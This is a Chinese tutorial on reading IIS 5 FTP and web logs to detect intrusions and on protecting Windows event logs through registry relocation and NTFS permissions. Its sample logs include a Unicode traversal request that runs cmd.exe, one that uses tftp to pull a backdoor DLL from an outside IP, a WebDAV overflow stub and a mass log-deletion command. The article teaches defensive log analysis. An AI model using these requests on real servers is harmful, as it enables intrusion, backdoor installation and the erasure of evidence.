1．FTP日志分析 
　　FTP日志和WWW日志在默認情況下，每天生成一個日志文件，包含了該日的一切記錄，文件名通常為ex（年份）（月份）（日期）。例如ex040419，就是2004年4月19日產(chǎn)生的日志，用記事本可直接打開，普通的有入侵行為的日志一般是這樣的：  
#Software: Microsoft Internet Information Services 5.0（微軟IIS5.0）  
#Version: 1.0 （版本1.0）  
#Date: 20040419 0315 （服務(wù)啟動時間日期）  
#Fields: time cip csmethod csuristem scstatus  
0315 127.0.0.1 [1]USER administator 331（IP地址為127.0.0.1用戶名為administator試圖登錄）  
0318 127.0.0.1 [1]PASS – 530（登錄失敗）  
032:04 127.0.0.1 [1]USER nt 331（IP地址為127.0.0.1用戶名為nt的用戶試圖登錄）  
032:06 127.0.0.1 [1]PASS – 530（登錄失?。?nbsp; 
032:09 127.0.0.1 [1]USER cyz 331（IP地址為127.0.0.1用戶名為cyz的用戶試圖登錄）  
0322 127.0.0.1 [1]PASS – 530（登錄失敗）  
0322 127.0.0.1 [1]USER administrator 331（IP地址為127.0.0.1用戶名為administrator試圖登錄）  
0324 127.0.0.1 [1]PASS – 230（登錄成功）  
0321 127.0.0.1 [1]MKD nt 550（新建目錄失?。?nbsp; 
0325 127.0.0.1 [1]QUIT – 550（退出FTP程序）  
　　從日志里就能看出IP地址為127.0.0.1的用戶一直試圖登錄系統(tǒng)，換了四次用戶名和密碼才成功，管理員立即就可以得知這個IP至少有入侵企圖！而他的入侵時間、IP地址以及探測的用戶名都很清楚的記錄在日志上。如上例入侵者最終是用Administrator用戶名進入的，那么就要考慮此用戶名是不是密碼失竊？還是被別人利用？接下來就要想想系統(tǒng)出什么問題了。 
　　2．WWW日志分析 
　　WWW服務(wù)同F(xiàn)TP服務(wù)一樣，產(chǎn)生的日志也是在%systemroot%\sys tem32\LogFiles\W3SVC1目錄下，默認是每天一個日志文件。這里需要特別說明一下，因為Web的日志和其他日志不同，它的分析要細致得多，需要管理員有豐富的入侵、防護知識，并且要足夠的細心，不然，很容易遺漏那種很簡單的日志，而通常這樣的日志又是非常關(guān)鍵的。由于我們不可能一個一個分析，所以這里舉個簡單例子：  
#Software: Microsoft Internet Information Services 5.0  
#Version: 1.0  
#Date: 20040419 03:091  
#Fields: date time cip csusername sip sport csmethod csuristem csuriquery scstatus cs(UserAgent)  
20040419 03:091 192.168.1.26 192.168.1.37 80 GET /iisstart.asp 200 Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98;+DigExt)  
20040419 03:094 192.168.1.26 192.168.1.37 80 GET /pagerror.gif 200 Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98;+DigExt) 

　　通過分析第六行，可以看出2004年5月19日，IP地址為192.168.1.26的用戶通過訪問IP地址為192.168.1.37機器的80端口，查看了一個頁面iisstart.asp，這位用戶的瀏覽器為compatible;+MSIE+5.0;+Windows+98+DigExt，有經(jīng)驗的管理員就可通過安全日志、FTP日志和WWW日志來確定入侵者的IP地址以及入侵時間。 
　　對現(xiàn)在非常常見的SQL注入式攻擊，通過對put、get的檢查，也可以大概判斷是那個頁面出了問題，從而修補。  
3．HTTPD事務(wù)日志的分析 

　　Microsoft的IIS 5自公布到現(xiàn)在，被黑客利用的漏洞多不勝數(shù)，像.ida/.idq、unicode、WebDavx3和一些未知的漏洞，我們分析日志的目的就是為了分析黑客入侵的行為，對于沒有打好補丁包的系統(tǒng)被黑客成功入侵的日志記錄分別對應(yīng)如下。為了給大家介紹一個比較醒目的介紹，專門配置了個“古老”的服務(wù)器，用舊漏洞給大家做個演示，很容易觸類旁通就懂其它了。  

　?。?）unicode漏洞入侵日志記錄 

　　這個是個非常經(jīng)典的漏洞了，要找這樣的服務(wù)器估計得去國外慢慢找了，但是因為它的日志是最經(jīng)典的一個，所以我們這里特別拿它來做個示范。 

　　我們打開IIS5的Web服務(wù)的日志文件,日志文件默認位置在%systemroot%\system32\LogFiles\文件夾下，如圖１所示是一個典型的Unicode漏洞入侵行為的日志記錄，對于正常的Web訪問，是通過80端口用GET命令獲取Web數(shù)據(jù)，但通過非法的字符編碼可繞過字符驗證而得到不應(yīng)該得到的信息。但補上相應(yīng)的補丁可堵上此漏洞。如圖一所示。 

　　我們配合入侵來看下這樣的記錄：通過下面的編碼我們在入侵的時候可以查看目標機的目錄文件： 

GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 200 

　　則日志中會記錄下此訪問行為：  

2004-04-19 08:47:47 192.168.0.1 - 192.168.0.218 80 GET  
/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe  
/c+dir 200 - 

　　看到了嗎？我們的日志中記錄地一清二楚，來自192.168.0.1的攻擊者查看我們的目錄。下面一行是向我們的機器傳送后門程序的日志記錄：  

2004-04-19 08:47:47 192.168.0.1 - 192.168.0.218 80 GET  
/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe 
/c+tftp%20-i%2061.48.10.129%20GET%20cool.dll%20c:\httpodbc.dll  
502 – 

　　看到了吧？記錄非常詳細的，系統(tǒng)里面那個程序在響應(yīng)都記錄了下來，這樣我們分析入侵行為就好辦了。 

　?。?）WebDavx3遠程溢出日志記錄  

　　過去一段時間有名的Wevdavx3漏洞是應(yīng)用最廣泛的，如果系統(tǒng)遭受了此遠程溢出的攻擊行為，則日志記錄如圖二所示。 

2004-04-19 07:20:13 192.168.0.218 - 192.168.0.218 80 LOCK 
/AAAAA…… 

　　這表示我們的Web服務(wù)受到了來自192.168.0.218的攻擊，并鎖定(即關(guān)閉)了WEB服務(wù)，后面的一些亂碼字符是在溢出攻擊時使用的偏移位猜過程。 

　　上面的幾種日雜都記錄了有入侵行為的IP地址，但此IP地址說不定就是攻擊者使用了跳板，也就是說此IP很可能是“肉雞”而不是攻擊者的IP，遇到這樣的情況，我們再查看其他日志文件，還是有可能追查出攻擊者的位置的，但這個就完全靠管理員的經(jīng)驗了。  

　　4．日志文件的移位保護 

　　通過上面的幾個方法，大家應(yīng)該可以檢測普通的系統(tǒng)攻擊了，但話說回來，如果上面的攻擊任何一個成功了，那現(xiàn)在我們都看不到日志了，早被入侵者清空了，所以，為了防患于未然，我們還是針對常見的刪除日志的方法，把日志挪挪吧。 

　　好多文章介紹對事件日志移位能做到對系統(tǒng)系統(tǒng)很好的保護，移位雖是一種保護方法，但只要在命令行輸入dir c:\*.evt/s，一下就可查找到事件日志位置，再刪除可容易了，那怎么辦呢？其實日志移位要通過修改注冊表來完成，找到注冊表HKEY_LOCAL_MACHINE\SYSTEM\ CurrentControlSet\ Services\Eventlog下面的Application、Security、System幾個子鍵，分別對應(yīng)“應(yīng)用程序日志”、“安全日志”、“系統(tǒng)日志”。如何修改呢？下面我們具體來看看Application子鍵：File項就是“應(yīng)用程序日志”文件存放的位置，把此鍵值改為要存放日志文件的文件夾，我們再把%systemroot%\system32\config\appevent.evt文件拷貝到此文件夾，再重啟機器就可以了。 

　　在此介紹移位的目的是為了充分利用Windows 2000在NTFS格式下的“安全”屬性，如果不移位也無法對文件進行安全設(shè)置操作，右擊移位后的“文件夾選擇屬性”，進入“安全”選項卡，不選擇“允許將來自父系的可繼承權(quán)限傳播給該對象”，添加“System”組，分別給Everyone組“讀取”權(quán)限，System組選擇除“完全控制”和“修改”的權(quán)限。然后再將系統(tǒng)默認的日志文件512KB大小改為你所想要的大小，如20MB。進行了上面的設(shè)置后，直接通過Del C:\*.Evt/s/q來刪除是刪不掉的，相對要安全很多了。  

最新評論